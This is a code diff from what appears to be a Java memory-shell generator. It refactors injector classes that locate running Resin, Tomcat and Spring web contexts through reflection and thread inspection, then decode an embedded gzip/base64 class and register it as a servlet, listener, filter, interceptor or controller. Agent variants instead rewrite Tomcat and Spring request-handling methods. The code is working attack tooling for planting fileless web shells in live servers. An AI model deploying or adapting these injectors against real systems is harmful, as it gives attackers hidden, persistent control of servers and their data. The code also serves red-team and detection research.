@@ -36,6 +27,45 @@ public class ResinListenerInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public ResinListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -66,29 +96,34 @@ public class ResinListenerInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object listener) throws Exception {
|
||||
List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners");
|
||||
for (Object o : listeners) {
|
||||
if (o.getClass().getName().contains(getClassName())) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
|
||||
// 清除缓存,否则某些 uri 无法连接
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
System.out.println("listener injected successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -136,7 +171,7 @@ public class ResinListenerInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -165,4 +200,19 @@ public class ResinListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+70
-28
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -14,17 +15,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ResinServletInjector {
|
||||
|
||||
public ResinServletInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object servlet = getShell(context);
|
||||
inject(context, servlet);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -38,6 +29,45 @@ public class ResinServletInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public ResinServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += "context: [" + getContextRoot(context) + "] ";
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -64,21 +94,25 @@ public class ResinServletInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object servlet) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
System.out.println("servlet already injected");
|
||||
return;
|
||||
Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets");
|
||||
for (String key : servlets.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Class<?> servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping");
|
||||
Object servletMapping = servletMappingClass.newInstance();
|
||||
@@ -86,18 +120,11 @@ public class ResinServletInjector {
|
||||
invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping});
|
||||
System.out.println("servlet injected success");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets");
|
||||
for (String key : servlets.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -145,7 +172,7 @@ public class ResinServletInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -174,4 +201,19 @@ public class ResinServletInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+7
-4
@@ -19,6 +19,8 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class SpringWebFluxHandlerFunctionInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
@@ -32,10 +34,11 @@ public class SpringWebFluxHandlerFunctionInjector {
|
||||
}
|
||||
|
||||
public SpringWebFluxHandlerFunctionInjector() {
|
||||
Object webHandler = null;
|
||||
try {
|
||||
Object webHandler = getWebHandler();
|
||||
Object functionObj = getShell();
|
||||
inject(webHandler, functionObj);
|
||||
webHandler = getWebHandler();
|
||||
Object shell = getShell();
|
||||
inject(webHandler, shell);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
@@ -152,6 +155,6 @@ public class SpringWebFluxHandlerFunctionInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -144,6 +144,6 @@ public class SpringWebFluxHandlerMethodInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
}
|
||||
|
||||
+7
-8
@@ -32,7 +32,7 @@ public class SpringWebFluxWebFilterInjector {
|
||||
public SpringWebFluxWebFilterInjector() {
|
||||
try {
|
||||
FilteringWebHandler webHandler = getWebHandler();
|
||||
Object filter = getShell();
|
||||
Object filter = getShell(webHandler);
|
||||
inject(webHandler, filter);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -52,19 +52,18 @@ public class SpringWebFluxWebFilterInjector {
|
||||
return null;
|
||||
}
|
||||
|
||||
private Object getShell() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object interceptor = null;
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
interceptor = clazz.newInstance();
|
||||
return clazz.newInstance();
|
||||
}
|
||||
return interceptor;
|
||||
}
|
||||
|
||||
public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {
|
||||
@@ -117,6 +116,6 @@ public class SpringWebFluxWebFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
}
|
||||
|
||||
+43
-33
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
@@ -16,6 +16,8 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class SpringWebMvcControllerHandlerInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
@@ -29,48 +31,38 @@ public class SpringWebMvcControllerHandlerInjector {
|
||||
}
|
||||
|
||||
public SpringWebMvcControllerHandlerInjector() {
|
||||
Object context = null;
|
||||
try {
|
||||
Object context = getContext();
|
||||
Object interceptor = getShell();
|
||||
inject(context, interceptor);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
|
||||
try {
|
||||
return classLoader.loadClass("javax.servlet.ServletContext");
|
||||
context = getContext();
|
||||
} catch (Throwable e) {
|
||||
return classLoader.loadClass("jakarta.servlet.ServletContext");
|
||||
msg += "context error: " + getErrorMessage(e);
|
||||
}
|
||||
try {
|
||||
Object shell = getShell();
|
||||
msg += "context: [" + context + "] ";
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
public Object getContext() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object context = null;
|
||||
try {
|
||||
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||
Object request = invokeMethod(requestAttributes, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
|
||||
return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
if (context == null) {
|
||||
try {
|
||||
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||
Object applicationContext = applicationContexts.iterator().next();
|
||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||
context = applicationContext;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||
Object applicationContext = applicationContexts.iterator().next();
|
||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||
return applicationContext;
|
||||
}
|
||||
}
|
||||
return context;
|
||||
return null;
|
||||
}
|
||||
|
||||
private Object getShell() throws Exception {
|
||||
@@ -99,11 +91,14 @@ public class SpringWebMvcControllerHandlerInjector {
|
||||
Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
|
||||
Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
|
||||
if (handlerMap.get(getUrlPattern()) != null) {
|
||||
System.out.println("controller already injected");
|
||||
return;
|
||||
}
|
||||
handlerMap.put(getUrlPattern(), controller);
|
||||
System.out.println("controller injected successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -183,7 +178,7 @@ public class SpringWebMvcControllerHandlerInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@@ -197,4 +192,19 @@ public class SpringWebMvcControllerHandlerInjector {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+3
-7
@@ -33,7 +33,6 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -53,6 +52,7 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -69,12 +69,8 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+44
-33
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
@@ -16,6 +16,8 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class SpringWebMvcInterceptorInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
@@ -25,50 +27,41 @@ public class SpringWebMvcInterceptorInjector {
|
||||
}
|
||||
|
||||
public SpringWebMvcInterceptorInjector() {
|
||||
Object context = null;
|
||||
try {
|
||||
Object context = getContext();
|
||||
Object interceptor = getShell();
|
||||
inject(context, interceptor);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
|
||||
try {
|
||||
return classLoader.loadClass("javax.servlet.ServletContext");
|
||||
context = getContext();
|
||||
} catch (Throwable e) {
|
||||
return classLoader.loadClass("jakarta.servlet.ServletContext");
|
||||
msg += "context error: " + getErrorMessage(e);
|
||||
}
|
||||
try {
|
||||
Object shell = getShell();
|
||||
msg += "context: [" + context + "] ";
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
public Object getContext() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object context = null;
|
||||
try {
|
||||
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||
Object request = invokeMethod(requestAttributes, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
|
||||
return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
if (context == null) {
|
||||
try {
|
||||
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||
Object applicationContext = applicationContexts.iterator().next();
|
||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||
context = applicationContext;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||
Object applicationContext = applicationContexts.iterator().next();
|
||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||
return applicationContext;
|
||||
}
|
||||
}
|
||||
return context;
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object interceptor = null;
|
||||
@@ -90,12 +83,15 @@ public class SpringWebMvcInterceptorInjector {
|
||||
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
|
||||
for (Object adaptedInterceptor : adaptedInterceptors) {
|
||||
if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
|
||||
System.out.println("interceptor already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
adaptedInterceptors.add(interceptor);
|
||||
System.out.println("interceptor injected successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -175,7 +171,7 @@ public class SpringWebMvcInterceptorInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@@ -189,4 +185,19 @@ public class SpringWebMvcInterceptorInjector {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+3
-7
@@ -33,7 +33,6 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -53,6 +52,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
@@ -69,12 +69,8 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+3
-7
@@ -33,7 +33,6 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -53,6 +52,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
@@ -69,12 +69,8 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+70
-25
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -13,15 +14,51 @@ import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Date: 2022/11/01
|
||||
* Author: pen4uin
|
||||
* Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*
|
||||
* @author ReaJason
|
||||
* @author pen4uin, ReaJason
|
||||
*/
|
||||
public class TomcatFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public TomcatFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
